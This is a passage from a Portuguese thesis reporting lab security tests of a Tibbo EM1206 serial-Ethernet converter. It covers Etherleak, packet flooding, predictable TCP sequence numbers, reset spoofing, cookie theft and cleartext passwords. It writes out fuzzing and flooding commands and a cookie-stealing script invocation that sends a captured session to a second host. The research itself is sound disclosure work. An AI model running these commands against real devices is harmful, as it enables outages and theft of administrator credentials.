UDP para o protocolo IPv4; UDPSIC6 que gera datagramas UDP para o protocolo IPv6;
ICMPSIC que gera pacotes ICMP para o protocolo IPv4; ICMPSIC6 que gera pacotes
ICMP para o protocolo IPv6; e MULTISIC que gera pacotes multicast.
Todas as ferramentas geram pacotes de acordo com opções selecionadas pelo usuário.
Estas opções podem alterar o tamanho dos pacotes, a versão do protocolo utilizado,
checksums e a porcentagem de pacotes fragmentados, utilizando para isso valores que o
usuário deseja ou mesmo gerando valores pseudo-aleatórios. Após o usuário configurar os
parâmetros, o software envia estes pacotes modificados ao dispositivo testado e monitora
o comportamento do mesmo (POTHAMSETTY; BALINSKY, 2003).
Neste trabalho o conjunto de ferramentas ISIC foi utilizado para estudar qual o com-
3.7 Ferramentas 43
portamento dos sistemas embarcados Tibbo diante de ataques fuzzing dos protocolos
Ethernet, IP, TCP, UDP e ICMP, e de ataques de inundação de pacotes, ambos mencio-
nados no capítulo anterior.
3.7.5 BED
BED, ou Bruteforce Exploit Detector, é um software open source escrito na linguagem

Perl por Martin Muench e Eric Sesterhenn, cuja função é realizar testes fuzzing para
detectar vulnerabilidades em diversos tipos de aplicações em rede (DAMAYE, 2012).
Algumas das vulnerabilidades que podem ser encontradas por ele são: buffer overflows,
overflow de variáveis inteiras, bugs de formato de strings, entre outros. Atualmente, o
BED suporta os protocolos FINGER, FTP, HTTP, SMTP, IMAP, IRC, LDP, PJL, POP,
SOCKS4 e SOCKS5 (DAMAYE, 2012).
O conversor serial-Ethernet EM1206 da Tibbo possui por padrão uma aplicação web
hospedada dentro do mesmo, para que o usuário possa configurar todos os parâmetros do
conversor. Visto que o BED pode fazer testes fuzzing do protocolo HTTP, ele foi utilizado
para buscar vulnerabilidades na implementação da aplicação web.
3.7.6 Scapy
Scapy é uma ferramenta open source escrita na linguagem Python por Philippe Biondi
que facilita ao usuário a construção, captura e análise de pacotes de rede, suportando um
número abrangente de diferentes protocolos (BIONDI, 2007).
O Scapy foi desenvolvido com o objetivo de que, a partir da sua flexibilidade, o usuário
possa montar exatamente os pacotes que ele queira, sem muitas restrições. Além disso ele
fornece informações bem completas. Por exemplo, enquanto algumas ferramentas dizem
"Esta porta está aberta"quando recebem um SYN-ACK, o Scapy informa exatamente o
que ocorreu, o pode ajudar a evitar falsos positivos (WEBER, 2011).
Quando foram encontradas possíveis vulnerabilidades no conversor serial-Ethernet

EM1206 da Tibbo, estas tiveram que ser isoladas e reproduzidas individualmente para
que pudessem ser comprovadas. O Scapy foi escolhido porque a sua flexibilidade para
construir e modificar pacotes de rede facilitou esta etapa do trabalho.
44
4 Resultados
Este capítulo é responsável por apresentar os resultados obtidos neste trabalho. As
próximas seções descrevem quais os protocolos de quais camadas da pilha TCP/IP foram
testados, como estes testes foram executados e quais foram os resultados que estes testes
forneceram.
4.1 Visão Geral
Os protocolos analisados foram: Ethernet, IP, UDP, TCP e HTTP. A tabela 4.1
apresenta quais foram as vulnerabilidades encontradas em cada protocolo, assim como a
seção onde estão descritos os testes que as comprovam.
Protocolo Problemas Encontrados Seção
Ethernet Etherleak 4.3

IP Flooding 4.4
UDP Flooding 4.5
TCP Flooding, 4.6.1,
Aleatoriedade Fraca do Número Inicial de Sequência, 4.6.2,
Reset Spoofing 4.6.3
HTTP Autocompletar Senha, 4.7.1,
Flooding, 4.7.2,
Roubo de Cookie 4.7.3
Transmissão de Senha Não Criptografada 4.7.4
Tabela 4.1: Vulnerabilidades encontradas no módulo EM1206 da Tibbo.
Os ambientes de testes utilizados são apresentados na seção 4.2. Além disso, as

próximas seções detalham cada uma das vulnerabilidades citadas, assim como os testes
executados.
4.2 Ambiente de testes 45
4.2 Ambiente de testes
Durante o desenvolvimento deste trabalho, dois ambientes de testes foram utilizados.

No primeiro cenário, mostrado pela figura 4.1, existe um host A com o endereço IP
192.168.25.10, conectado via Wi-Fi com o roteador 192.168.25.1. Há também o módulo
EM1206 com o IP 192.168.25.5, conectado via Ethernet com este mesmo roteador.
Figura 4.1: Cenário 1, utilizado nos testes deste trabalho.
Fonte: Elaborado pelo autor.
O segundo cenário utilizado é o da figura 4.2, onde há dois hosts: um host A, que
poderá ter o endereço IP 192.168.25.3 ou 192.168.25.4, dependendo do teste, e o host B
com o endereço 192.168.25.10, ambos conectados via Wi-Fi com o roteador 192.168.25.1.
Por fim, novamente temos o EM1206 com o IP 192.168.25.5 conectado ao roteador via
Ethernet.
Figura 4.2: Cenário 2, utilizado nos testes deste trabalho.
Em ambos os cenários, o EM1206 estava trabalhando com a firmware de conversor

serial-Ethernet.
Ainda com o objetivo mostrar o ambiente de testes deste trabalho, é importante

mostrar o resultado da varredura de portas TCP e UDP do EM1206, além do resultado
4.2 Ambiente de testes 46
da detecção do sistema operacional do dispositivo através do Nmap, de acordo com o que
foi proposto no capítulo 3.3. A figura 4.3 apresenta o resultado.
Figura 4.3: Varredura de portas TCP e UDP do EM1206 com detecção de sistema ope-
racional, através no Nmap.
Este resultado mostra que o Nmap não conseguiu reconhecer o sistema operacional
Tibbo OS (TIBBO, 2012h), conforme previsto na seção 3.3.1. Além disso, a varredura de
portas mostra três TCP portas abertas: porta 23 a qual, ao contrário do que o Nmap diz,
4.3 Ethernet 47
não roda o serviço Telnet, mas sim um serviço que é melhor detalhado na seção 4.7.4.2;
porta 80, a qual roda o servidor web; e a porta 1001, que é a porta utilizada para conversão
serial-Ethernet. Esta última pode ser alterada pelo usuário para que seja a porta que ele
desejar.
4.3 Ethernet
Foram realizados dois testes para realizar a busca de vulnerabilidades neste protocolo,
sendo que o primeiro foi realizado com o software ESIC, descrito na seção 3.7.4 e o
ambiente de testes foi o apresentado pelo cenário 1 na figura 4.1.
Ao contrário das outras ferramentas do IPSIC (algumas delas são mostradas nas
próximas seções), o ESIC não possui a opção de especificar como os campos do cabeçalho
do protocolo analisado serão alterados, sendo que ele aplica fuzzing em todos os campos
possíveis do cabeçalho Ethernet, em uma taxa de dados de aproximadamente 6 MB/s. O
ESIC pode ser executado através da seguinte linha de comando:
1 # ./esic -i wlan0 -s 9c:2a:70:89:04:89 -d 00:24:77:50:57:B9
Este teste foi repetido 10 vezes, sendo que em cada uma delas o ESIC foi executado
durante aproximadamente cinco minutos, porém o EM1206 não mostrou-se vulnerável aos
ataques fuzzing.
O segundo teste foi executado pelo scanner de vulnerabilidades Nessus, descrito na

seção 3.7.2. Este software indicou que o EM1206 possui a vulnerabilidade Etherleak,
conforme o relatório gerado pelo Nessus que encontra-se no apêndice A.1.
A RFC 1042 (POSTEL, 1988) especifica um tamanho mínimo para os quadros Ether-
net. Caso o conteúdo do quadro não preencha este tamanho mínimo necessário, devem
ser adicionados zeros a ele até que o quadro seja preenchido completamente. A vulnera-
bilidade chamada Etherleak acontece quando dispositivos de rede não implementam essa
RFC corretamente, sendo que os dados que preenchem esse espaço restante vêm de buf-
fers do sistema, como pedaços da memória do kernel, ou dados dos buffers de rede. Visto
que estes dados podem não ser filtrados, informações importantes podem ser transmitidas
abertamente (ARKIN; ANDERSON, 2003).
4.3 Ethernet 48
O módulo EM1206 da Tibbo possui essa vulnerabilidade. Foi verificado que, quando
uma requisição ARP é feita ao Tibbo, dados do buffer de rede são acrescentados ao quadro
Ethernet. Os próximos parágrafos descrevem o teste executado, onde foi possível obter
dados sigilosos a partir desta vulnerabilidade.
O teste que apresentou esta vulnerabilidade foi feito da seguinte maneira: utilizando
o cenário 2, apresentado pela figura 4.2, foram feitas requisições ARP do host A ao
EM1206. Estas requisições ARP foram feitas a partir do software Arping (HABETS,
2003), utilizando o seguinte comando:
1 # arping -I wlan0 192.168.25.5
Após terem sido iniciadas as requisições ARP, a página web de configuração do con-
versor foi acessada por um usuário legítimo no host B e então este usuário ficou navegando
no sistema, gerando um tráfego de rede.
Feito isso, no host A foi iniciada uma captura do tráfego de rede através do software
Wireshark, descrito na seção 3.7.3. A partir desta captura foi possível obter a senha do
conversor, que foi configurada como tst. A figura 4.4 mostra em destaque o momento
desta captura.
Figura 4.4: Captura da senha do EM1206, devido ao Etherleak.
Uma discussão mais aprofundada sobre a vulnerabilidade de Etherleak e suas possíveis

causas pode ser encontrada em (ARKIN; ANDERSON, 2003).
4.4 IP 49
4.4 IP
Para testar a robustez da implementação do protocolo IP do módulo EM1206, foi

utilizado o software ISIC, descrito na seção 3.7.4. O EM1206 não mostrou-se vulnerável
aos ataques fuzzing, porém o fluxo de dados injetado por este software, acabou causando
um ataque flooding ao dispositivo, o qual é descrito a seguir.
O ambiente de testes foi o apresentado pelo cenário 1 na figura 4.1. Os ataques fuzzing
utilizando a ferramenta ISIC, podem ser iniciados através do seguinte comando:
1 # ./isic -s 192.168.25.10 -d 192.168.25.5
Os parâmetros -s e -d do ISIC indicam o endereço IP de origem e de destino do

ataque, respectivamente.
Nos primeiros testes, foi observado que o EM1206 parou de funcionar após o início
dos ataques. Notou-se também que, após cessados os ataques, o dispositivo não voltou
ao seu funcionamento normal, sendo necessário reiniciá-lo manualmente.
Visto que o fluxo de dados gerado pelo ISIC é relativamente alto (cerca de 4 MB/s),
surgiu a suspeita de que o módulo não estivesse travando devido aos ataques fuzzing, mas
sim devido a um ataque flooding executado pelo software. Para testar esta hipótese, os
testes foram repetidos limitando este fluxo para 1 KB/s. Para que isso seja possível, o
ISIC possui um parâmetro que limita o fluxo de dados: o parâmetro -m. O novo comando
executado foi:
1 # ./isic -s 192.168.25.10 -d 192.168.25.5 -m 1
Quando os testes foram repetidos dessa maneira, o EM1206 não travou, o que indica
que anteriormente o módulo havia travado devido a um ataque flooding.
Mais alguns testes foram executados, desta vez utilizando os parâmetros -F, -V e
-I: o parâmetro -F que tem a função de indicar a porcentagem de pacotes que serão
fragmentados, o parâmetro -V que indica a porcentagem de pacotes que terão um número
inválido de versão IP nos seus cabeçalhos e o parâmetro -I determina o número de pacotes
IP que terão o campo dos seus cabeçalhos, Tamanho do Cabeçalho, alterados.
Cada um destes parâmetros foi testado com os valores 25%, 50%, 75% e 100%. De to-
das as combinações possíveis de parâmetros e valores, 20 foram escolhidas aleatoriamente
4.5 UDP 50
e utilizadas nos testes, porém novamente o EM1206 não mostrou-se vulnerável aos ata-
ques fuzzing. Três exemplos de como estes parâmetros podem ser utilizados encontram-se
abaixo.
1 # ./isic -s 192.168.25.10 -d 192.168.25.5 -V 25 -m 1

2 # ./isic -s 192.168.25.10 -d 192.168.25.5 -F 50 -I 100 -m 1
3 # ./isic -s 192.168.25.10 -d 192.168.25.5 -F 75 -V 25 -I 50 -m 1
Com o resultado destes testes, a conclusão obtida foi que o protocolo IP do módulo
EM1206 não é vulnerável aos ataques fuzzing do ISIC, porém é vulnerável a ataques
flooding.
4.5 UDP
Para testar o protocolo UDP do EM1206, foi utilizado o software UDPSIC, apresen-
tado na seção 3.7.4. Assim como aconteceu nos testes com a ferramenta ISIC, o EM1206
não mostrou-se vulnerável aos ataques fuzzing executados pelo UDPSIC, porém mostrou-
se vulnerável ao flooding gerado. Os testes que geraram este resultado são descritos a
seguir.
Visto que as ferramentas ISIC e UDPSIC funcionam de uma forma bastante similar
mudando apenas o protocolo no qual elas atuam, os resultados obtidos foram bastantes
similares aos obtidos na seção 4.4. Para a execução destes testes, o ambiente também é o
cenário 1, mostrado pela figura 4.1.
A ferramenta UDPSIC executa seus testes através da seguinte linha de comando:
1 # ./udpsic -s 192.168.25.10,6789 -d 192.168.25.5,1001
A sintaxe utilizada pelo UDPSIC é a mesma que a do IPSIC, com a diferença de que
os números que estão separados por vírgula dos endereços IP, indicam as portas UDP
de origem e destino do ataque, respectivamente. O fluxo de dados gerado pelo UDPSIC
também foi igual ao gerado pelo ISIC.
Visto que há a liberdade de configurar as portas TCP e UDP do EM1206 que estarão
abertas, a porta UDP 1001 foi aberta e utilizada para a execução dos testes.
4.6 TCP 51
Assim como nos testes do protocolo IP, o protocolo UDP do Tibbo não mostrou-se
vulnerável aos ataques fuzzing, porém mostrou-se vulnerável ao ataque flooding executado
pela ferramenta. Para filtrar o real motivo do travamento, o tráfego da ferramenta foi
limitado a 1 KB/s utilizando o parâmetro -m. Visto que o EM1206 não travou com este
tráfego, a conclusão é que o erro foi causado por flooding.
Também foram executados testes utilizando os parâmetros -F, -V e -I, já apresentados

na seção 4.4. Além destes, o UDPSIC tem o parâmetro -U, onde o atacante diz o número
de pacotes UDP que terão o seu valor de checksum alterados. Os valores escolhidos
para todos os parâmetros foram 25%, 50%, 75% e 100% em 20 combinações aleatórias
diferentes, e os resultados foram os mesmos.
4.6 TCP
Para detectar vulnerabilidades no protocolo TCP, três testes foram executados. O

primeiro foi feito com o software TCPSIC, descrito na seção 3.7.4. O resultado foi que
o EM1206 não mostrou-se vulnerável aos testes fuzzing executados, porém mostrou-se
vulnerável a um ataque flooding executado por esta ferramenta.
O segundo teste foi feito para verificar o quão eficiente é o gerador de números inici-
ais de sequência, teste executado pelos softwares Nmap (descrito na seção 3.7.1) e pelo
software Nessus. Houve uma divergência entre os resultados.
O terceiro teste também foi feito pelo Nessus, sendo que este encontrou uma vulne-
rabilidade onde diz que o EM1206 é vulnerável a ataques de reset spoofing.
A descrição detalhada destes três testes é apresentada nas seções 4.6.1, 4.6.2 e 4.6.3.
4.6.1 Flooding
Visto que as ferramentas TCPSIC e UDPSIC funcionam de uma forma bastante pa-
recida, inclusive atuando na mesma camada da pilha TCP/IP, os resultados obtidos aqui
foram bastantes similares aos obtidos na seção 4.5.
A sintaxe utilizada pelo TCPSIC é a mesma utilizada pelo UDPSIC:
1 # ./tcpsic -s 192.168.25.10,6789 -d 192.168.25.5,1001

4.6 TCP 52
Aqui, a porta TCP 1001 do Tibbo foi utilizada para a execução dos testes e o ambiente
utilizado foi o cenário 1, apresentado pela figura 4.1. O resultado encontrado foi que o
módulo é vulnerável a ataques flooding, porém não é vulnerável a ataques fuzzing.
Assim como nos testes com IPSIC e UDPSIC, os testes foram repetidos com o tráfego
limitado a 1 KB/s e o EM1206 não travou.
Por fim, foram feitos testes com os parâmetros -F, -V e -I, já apresentados na seção
4.4. Além destes, o TCPSIC tem alguns parâmetros exclusivos: -T, -u e -t. O parâmetro
-T indica a porcentagem de pacotes que terão as flags TCP alteradas, o parâmetro -u
diz a porcentagem de pacotes que terão a flag URG ligada e -t diz a porcentagem de
pacotes que terão o valor de checksum alterados. Os resultados mantiveram-se os mesmos,
o EM1206 resistiu a todas as 20 combinações de parâmetros testadas.
4.6.2 Aleatoriedade Fraca do Número Inicial de Sequência
Conforme explicado na seção 3.4, se um dispositivo em rede possui um gerador do

número inicial de sequência com uma aleatoriedade fraca, é possível injetar dados em uma
conexão TCP já estabelecida. Para avaliar o grau de aleatoriedade do gerador de ISN do
EM1206, dois softwares foram utilizados: o Nmap e Nessus, sendo que os testes foram
executados utilizando o cenário 1 (figura 4.1).
O Nmap categoriza a previsibilidade do número inicial de sequência do TCP em:

Trivial Joke, Easy, Medium, Formidable, Worthy challenge e Good luck! , sendo
Trivial Joke a aleatoriedade mais fraca e Good luck! a mais forte (LYON, 2009c).
Conforme a figura 4.5 mostra (TCP Sequence Prediction), o resultado foi Good luck! ,
portanto a aleatoriedade do EM1206 é considerada forte.
Utilizando o Nessus o resultado foi diferente. De acordo com o relatório gerado por
ele e que pode ser encontrado no apêndice A.2, o Nessus avalia a aleatoriedade do gerador
de ISN como fraca.
Devido a esta divergência entre os resultados, foi necessário fazer uma análise manual
dos pacotes para descobrir qual está correto. Para isso foi criado um script com o Scapy,
o qual está no apêndice A.5. Este script envia, por aproximadamente dois segundos,
segmentos SYN para o EM1206 e imprime na tela qual foi o número de sequência utilizado
na resposta SYN-ACK.
4.6 TCP 53
Figura 4.5: Análise da aleatoriedade do gerador do ISN do EM1206 pelo Nmap.
Através deste script foi constatado que o gerador de números iniciais de sequência do
EM1206 simplesmente incrementa seu valor em 64000 a cada 500 ms. Esse comportamento
viola a RFC 6528 (GONT, 2012), que especifica que os ISNs devem ser aleatorizados. As
figuras 4.6, 4.7, 4.8 e 4.9 mostram a captura do tráfego destes pacotes feita pelo Wireshark,
onde é possível ver o momento em que o gerador do número de sequência é incrementado.
Dado o fato de que o EM1206 gera seus números iniciais de sequência de uma forma
incremental utilizando um valor fixo, o resultado gerado pelo Nessus foi o correto.
Um ponto a ser destacado sobre a análise feita por este plugin do Nessus é que ele
pode gerar falsos positivos. Conforme pode ser visto em seu código fonte (DERAISON,
2002), o Nessus envia dois segmentos SYN, captura o número de sequência das respostas
SYN-ACK e os compara: se eles forem iguais a aleatoriedade é dada como fraca, caso
contrário ela é dada como forte. Se, no momento desta captura, o gerador do EM1206
4.6 TCP 54
fosse incrementado, a aleatoriedade teria sido dada como forte, o que é um falso positivo.
Figura 4.6: Captura do tráfego de rede, mostrando o número de sequência do primeiro

SYN-ACK gerado pelo EM1206.
Figura 4.7: Captura do tráfego de rede, mostrando o momento em que o número de

sequência é incrementado pela primeira vez.

sequência é incrementado pela segunda vez.

4.6 TCP 55

sequência é incrementado pela terceira vez.
O resultado errado fornecido pelo Nmap e a possibilidade de o Nessus gerar falsos

positivos serve de alerta quanto à confiança cega nos resultados de ferramentas de testes,
principalmente aquelas tidas como mais confiáveis. É importante antes de afirmar que
uma vulnerabilidade existe ou não, realizar diversos testes e, se possível, com diferentes
ferramentas.
4.6.3 Reset Spoofing
De acordo com o relatório emitido pelo Nessus que pode ser visualizado no apêndice
A.3, é possível encerrar uma conexão já estabelecida entre o EM1206 e outro dispositivo
enviando pacotes RST ilegítimos, fazendo uma aproximação do número de sequência da
conexão.
Para confirmar esta vulnerabilidade, foi criado um script utilizando a ferramenta

Scapy descrita na seção 3.7.6, a qual envia um pacote com as flags SYN e RST para uma
conexão TCP já estabelecida entre o Tibbo e um host, utilizando um número de sequência
e um ACK com os valores errados. O código pode ser visto no apêndice A.6.
Este script foi testado no cenário 2, onde havia uma conexão TCP na porta 1001 do
EM1206 entre este e o host A. A figura 4.10 mostra a execução deste script: o pacote 135
e os anteriores mostram o tráfego normal entre o host A e o EM1206; o pacote 227 mostra
o momento em que o host B envia o segmento RST para o EM1206, com seu IP alterado
para que parecesse ser um pacote legítimo do host A; o pacote 274 mostra o momento em
4.7 HTTP 56
que o host A envia mais um pacote legítimo ao EM1206; e por fim, o pacote 275 mostra
o momento em que o EM1206 finaliza a conexão com o host A.
Figura 4.10: Captura do reset-spoofing executado pelo script.
Para que fosse possível demonstrar este resultado, os tráfegos dos hosts A e B foram
capturados separadamente e depois mesclados através do Wireshark.
4.7 HTTP
Esta seção descreve as vulnerabilidades encontradas no protocolo HTTP implemen-

tado pelo conversor EM1206 da Tibbo. Para este protocolo foram encontradas quatro
vulnerabilidades.
A primeira, detalhada na seção 4.7.1, é quanto à opção autocompletar do campo

senha, na aplicação web do EM1206. A segunda é uma vulnerabilidade a ataques flooding,
descoberta através da ferramenta BED e detalhada na seção 4.7.2. A terceira é uma
vulnerabilidade ao roubo do cookie de uma sessão estabelecida, descrita na seção 4.7.3.
Por fim, a seção 4.7.4 descreve uma vulnerabilidade quanto ao envio não criptografado da
senha de administrador do sistema.
4.7.1 Autocompletar Senha
De acordo com o relatório gerado pelo Nessus, a opção autocompletar da senha da

página web de configuração do conversor EM1206 não foi desabilitada. Este relatório
pode ser visualizado no apêndice A.4.
4.7 HTTP 57
Embora não seja uma vulnerabilidade no sentido estrito, não desabilitar o autocom-
pletar oferece um risco de perda de confidencialidade, pois qualquer pessoa que tenha
acesso a um navegador que anteriormente foi usado para acessar o EM1206 pode usá-lo
para acessar o conversor, mesmo que esta pessoa não conheça a senha de administrador.
4.7.2 Flooding
O software BED, descrito na seção 3.7.5, foi utilizado neste teste para avaliar o com-
portamento do servidor web embarcado do conversor EM1206 diante de ataques fuzzing
na camada de aplicação. Os parâmetros HTTP testados por esta ferramenta foram a
linha de requisição e as linhas de cabeçalho User-Agent, Host, Accept, Accept-Encoding,
Accept-Language, Connection, Referer, Authorization, From, Charge-To, Authorization,
If-Modified-Since e Pragma, sendo que o ambiente de testes foi o cenário 1, mostrado pela
figura 4.1. Os testes foram iniciados através do comando abaixo:
1 # ./bed.pl -s HTTP -t 192.168.25.5 -p 80
Através do parâmetro -s, o usuário diz ao BED qual dos protocolos ele quer atacar.
O parâmetro -t indica o endereço IP do alvo e -p indica em qual porta está rodando o
serviço a ser atacado. Quando o teste é iniciado, a ferramenta envia strings de diversos
tamanhos em cada um dos parâmetros HTTP mencionados.
De todos os parâmetros HTTP, dois deles causaram o travamento do conversor: GET

e POST, sendo que o BED acusou que estes foram erros de Buffer Overflow. Após
o servidor web travar, o conversor não conseguiu recuperar-se sozinho do erro, sendo
necessário reiniciá-lo manualmente.
Visto que a ferramenta testa todos os parâmetros HTTP sequencialmente, surgiu

a dúvida se o erro foi realmente causado por buffer overflow ou por um possível ataque
flooding. Para sanar esta dúvida, cada um dos parâmetros foi isolado e testado novamente.
Quando isolados, os parâmetros GET e POST que antes causavam o travamento não
causaram mais a falha, mesmo utilizando strings de tamanho 219 .
De acordo com estes resultados, a conclusão obtida é que o que realmente causou
o travamento do servidor web foi um ataque flooding e não um buffer overflow. Um
fato interessante é que este ataque flooding funcionou apenas com os parâmetros GET e
4.7 HTTP 58
POST, não tendo sido efetivo nos testes com as linhas de cabeçalho HTTP mencionadas
no primeiro parágrafo desta seção.
4.7.3 Roubo de Cookie
Quando um usuário se autentica na página web do EM1206, o conversor dá a este

usuário um cookie para identificar que ele está autenticado (KUROSE; ROSS, 2006). Este
cookie é um número gerado aleatoriamente pelo Tibbo e ele é válido durante aproxima-
damente 5 minutos, sendo esta validade renovada cada vez que o usuário o reutiliza.
Toda vez que este usuário já autenticado acessa alguma página do sistema, em vez
de informar novamente a senha, ele apresenta ao EM1206 o cookie. A figura 4.11 mostra
uma captura feita pelo Wireshark, onde o cookie está em destaque.
Figura 4.11: Cookie de uma sessão capturado pelo Wireshark.
O problema é que este recurso traz consigo uma vulnerabilidade. Qualquer um que
consiga obter este cookie pode usá-lo para ter acesso completo as páginas de configuração
do conversor. Isso é perigoso, visto que essa vulnerabilidade pode ser usada para obter a
senha de administrador do EM1206.
Para comprovar esta vulnerabilidade, foram criados dois scripts com a ferramenta
Scapy, os quais foram testados no cenário 2, apresentado pela figura 4.2. Estes scripts,
que estão nos apêndices A.7 e A.8, têm dois objetivos: o primeiro é obter o cookie e o
segundo é fazer com que um host B obtenha a senha do EM1206 utilizando este cookie.
Quando o host B recebe o cookie, ele inicia o processo de handshake para estabelecer
uma conexão com o EM1206, enviando um segmento SYN através do Scapy. O problema
é que o Scapy faz este handshake de modo independente do kernel do Linux, portanto,
4.7 HTTP 59
quando o host B recebe o segmento SYN-ACK do EM1206, o sistema operacional não o
reconhece e envia automaticamente um segmento RST ao EM1206. Para que este RST não
seja enviado, antes de iniciar a execução dos scripts é necessário fazer duas configurações
no Iptables do host B (WEBER, 2010):
1 # iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 192.168.25.10 -d

192.168.25.5 --dport 80 -j DROP
2 # iptables -A OUTPUT -s 192.168.25.10 -d 192.168.25.5 -p ICMP --icmp-
type port-unreachable -j DROP
A primeira configuração impede que o sistema operacional do host B envie os seg-

mentos RST, enquanto a segunda configuração impede que o sistema operacional envie
respostas ICMP port unreachable para o EM1206.
Após configurar o Iptables, o script A.7 deve ser iniciado no host B através do seguinte
comando:
1 # python rouba-cookie-servidor.py
A partir deste momento, o host B está esperando que o host A inicie a conexão com
o conversor e lhe envie o cookie utilizado. O próximo passo é executar o script A.8 no
host A, através do comando:
1 # python rouba-cookie-cliente.py 192.168.25.10 192.168.25.5 100
O primeiro parâmetro deste comando é o endereço IP do host B, o segundo é o do

conversor EM1206 e o último é o número de pacotes que devem ser capturados pelo Scapy
antes de o script verificar se o número da sessão está em algum destes pacotes.
Quando o programa descobre o número da sessão estabelecida, ele o envia ao host B.

A figura 4.12 mostra este momento.
Quando o host B recebe o número da sessão, ele conecta-se ao EM1206, faz um GET
da página settings.html do conversor utilizando o cookie recebido e salva os dados recebidos
desta requisição. A figura 4.13 mostra o momento em que o host B faz a requisição GET.
4.7 HTTP 60
Figura 4.12: Cookie sendo enviado do host A para o host B.
Figura 4.13: Envio da requisição GET da página settings.html a partir do host B,

utilizando o cookie capturado.
Esta requisição GET poderia ser feita para qualquer página do sistema do EM1206.
A página settings.html foi escolhida pois ela contém a senha de administrador do con-
versor. A figura 4.14 mostra o momento em que o EM1206 envia esta senha para o host
B.
Os resultados deste teste mostram que, através do roubo do cookie, é possível obter
qualquer parâmetro de configuração do EM1206, inclusive a senha de administrador do
mesmo, sendo esta uma vulnerabilidade grave.
Um ponto a ser considerado sobre este teste é que, se o atacante tem a liberdade de
executar scripts no host A, existem métodos mais fáceis de obter acesso ao EM1206 do que
o apresentado aqui, porém devido ao curto tempo para o desenvolvimento deste trabalho
não foi possível executar este teste em um cenário real. Por este motivo, a melhor opção
foi demonstrar em um ambiente ideal que a vulnerabilidade existe.
4.7 HTTP 61
Figura 4.14: Senha do conversor EM1206 destacada, obtida pelo host B.
4.7.4 Transmissão de Senha Não Criptografada
É possível acessar e alterar as configurações do conversor EM1206 da Tibbo de três

maneiras: através do software DS Manager, através da sua página web embarcada ou
através de uma aplicação que roda na porta TCP 23, chamada pela Tibbo de Telnet,
apesar de não ser o Telnet padrão.
Estes recursos possuem em comum uma mesma vulnerabilidade: eles enviam a senha
pela rede de forma aberta, sem nenhum tipo de criptografia. Esta é uma vulnerabilidade
grave pois, se um usuário não autorizado tiver acesso a esta senha, ele pode obter controle
total do sistema.
As seções 4.7.4.1, 4.7.4.2 e 4.7.4.3 descrevem mais detalhadamente este assunto. Ape-
sar de o software DS Manager e a aplicação Telnet não usarem o protocolo HTTP, elas
estão descritas aqui pois tratam da mesma vulnerabilidade.
4.7.4.1 Página Web
O conversor EM1206 da Tibbo possui por padrão uma página web que pode ser
utilizada para a parametrização do mesmo. A figura 4.15 mostra a tela de login desta
página.
4.7 HTTP 62
Figura 4.15: Tela de login do conversor EM1206.
Este recurso traz consigo uma vulnerabilidade: quando o usuário digita a senha e
clica no botão Login, a senha é enviada sem nenhum tipo de criptografia, sendo possível
vê-la de forma aberta na rede. A figura 4.16 mostra a captura da senha, comprovando a
vulnerabilidade.
Figura 4.16: Captura da senha do EM1206 enviada pela página web.
4.7.4.2 Telnet
Os conversores serial-Ethernet da Tibbo possuem uma aplicação chamada pela própria

Tibbo de Telnet. Esta não é a aplicação Telnet padrão, ela tem este nome apenas porque
4.7 HTTP 63
roda na porta TCP 23 (TIBBO, 2013).
Esta aplicação serve para que o usuário possa parametrizar os conversores da Tibbo
via linha de comando, porém traz consigo uma vulnerabilidade. Visto que para alguns
comandos é necessário que o usuário se autentique, o usuário deve enviar junto com o
comando a senha do conversor. Como a senha não pode ser criptografada antes de ser
enviada, é possível capturar esta senha monitorando o tráfego da rede.
A figura 4.17 mostra em destaque o pacote capturado pelo Wireshark.
Figura 4.17: Captura da senha do EM1206 enviada pela aplicação “Telnet” do Tibbo.
4.7.4.3 DS Manager
O DS Manager é um software que provê uma interface gráfica para que os usuários
dos conversores serial-Ethernet da Tibbo possam configura-los (TIBBO, 2012g). A figura
4.18 mostra a tela principal deste programa.
Toda vez que alguém utiliza esta aplicação para obter acesso às configurações dos
conversores, é necessário informar ao DS Manager a senha de acesso para que ele possa
autenticar-se com o módulo. Essa autenticação é feita através da porta UDP 65535. Este
recurso traz consigo uma vulnerabilidade, pois a senha é enviada através dessa porta sem
nenhum tipo de criptografia, podendo ser vista de forma aberta no tráfego da rede.
A figura 4.19 mostra em destaque o momento em que o Wireshark captura a senha

do EM1206 enviada pelo software DS Manager.
4.7 HTTP 64
Figura 4.18: Tela principal do software DS Manager (TIBBO, 2012g).
Figura 4.19: Captura da senha do EM1206 enviada pelo DS Manager.
Além do fato de que o DS Manager envia a senha pela rede sem nenhuma criptografia,
através desta figura é possível ver que este software também transmite a senha por broad-
cast pelas camadas de enlace e de rede. Essa pode ser considerada uma vulnerabilidade
gravíssima, visto que todos os hosts da rede recebem a senha do EM1206, e não só o host
que está se autenticando.
4.8 Discussão dos Resultados 65
4.8 Discussão dos Resultados
Diversas vulnerabilidades foram encontradas durante o desenvolvimento de trabalho,

sendo que elas variam bastante em níveis de gravidade ao sistema. Esta seção traz uma
discussão das vulnerabilidades encontradas, avaliando-as de acordo com o nível de risco
que cada uma oferece.
Começando das mais leves para os mais graves, existe a vulnerabilidade de autocom-
pletar senha descrita na seção 4.7.1, a qual é uma vulnerabilidade que, apesar de ter o
potencial de proporcionar acesso completo para o atacante, é difícil de ser reproduzida,
sendo que o atacante tem que primeiro obter acesso a um host que já acessou o EM1206
para depois poder explorar esta falha.
Como vulnerabilidade média, foi detectado o Etherleak descrito na seção 4.3. Segundo
o relatório do Nessus no apêndice A.1 esta é uma vulnerabilidade leve, porém no contexto
deste trabalho esta vulnerabilidade foi capaz de mostrar a senha do EM1206, além de ter o
potencial de mostrar todas as configurações do módulo através de simples requisições ARP.
Vale lembrar também que o teste foi executado através de um host diferente do que tinha
acesso a página web do EM1206, e que o atacante não necessita de nenhuma informação
sobre esta conexão legítima. Mesmo com estes argumentos, esta vulnerabilidade não foi
classificada como grave porque, apesar de o teste ser de fácil execução, é muito difícil
obter algum dado relevante através das requisições ARP, visto que os dados são obtidos
aleatoriamente do buffer de rede. Para o desenvolvimento deste relatório foi necessário
manter um fluxo ativo de dados, além de várias tentativas até enfim obter a senha do
módulo, situação que dificilmente aconteceria em um cenário real. Apesar disso, há sempre
a possibilidade de o atacante obter algum dado relevante com poucas tentativas.
Passando para as vulnerabilidades graves, o EM1206 é vulnerável a ataques flooding

apresentado nas seções 4.4, 4.5, 4.6.1 e 4.7.2. Este tipo de ataque fez com que o módulo
parasse de funcionar completamente, de modo que ele não conseguiu recuperar-se sozinho
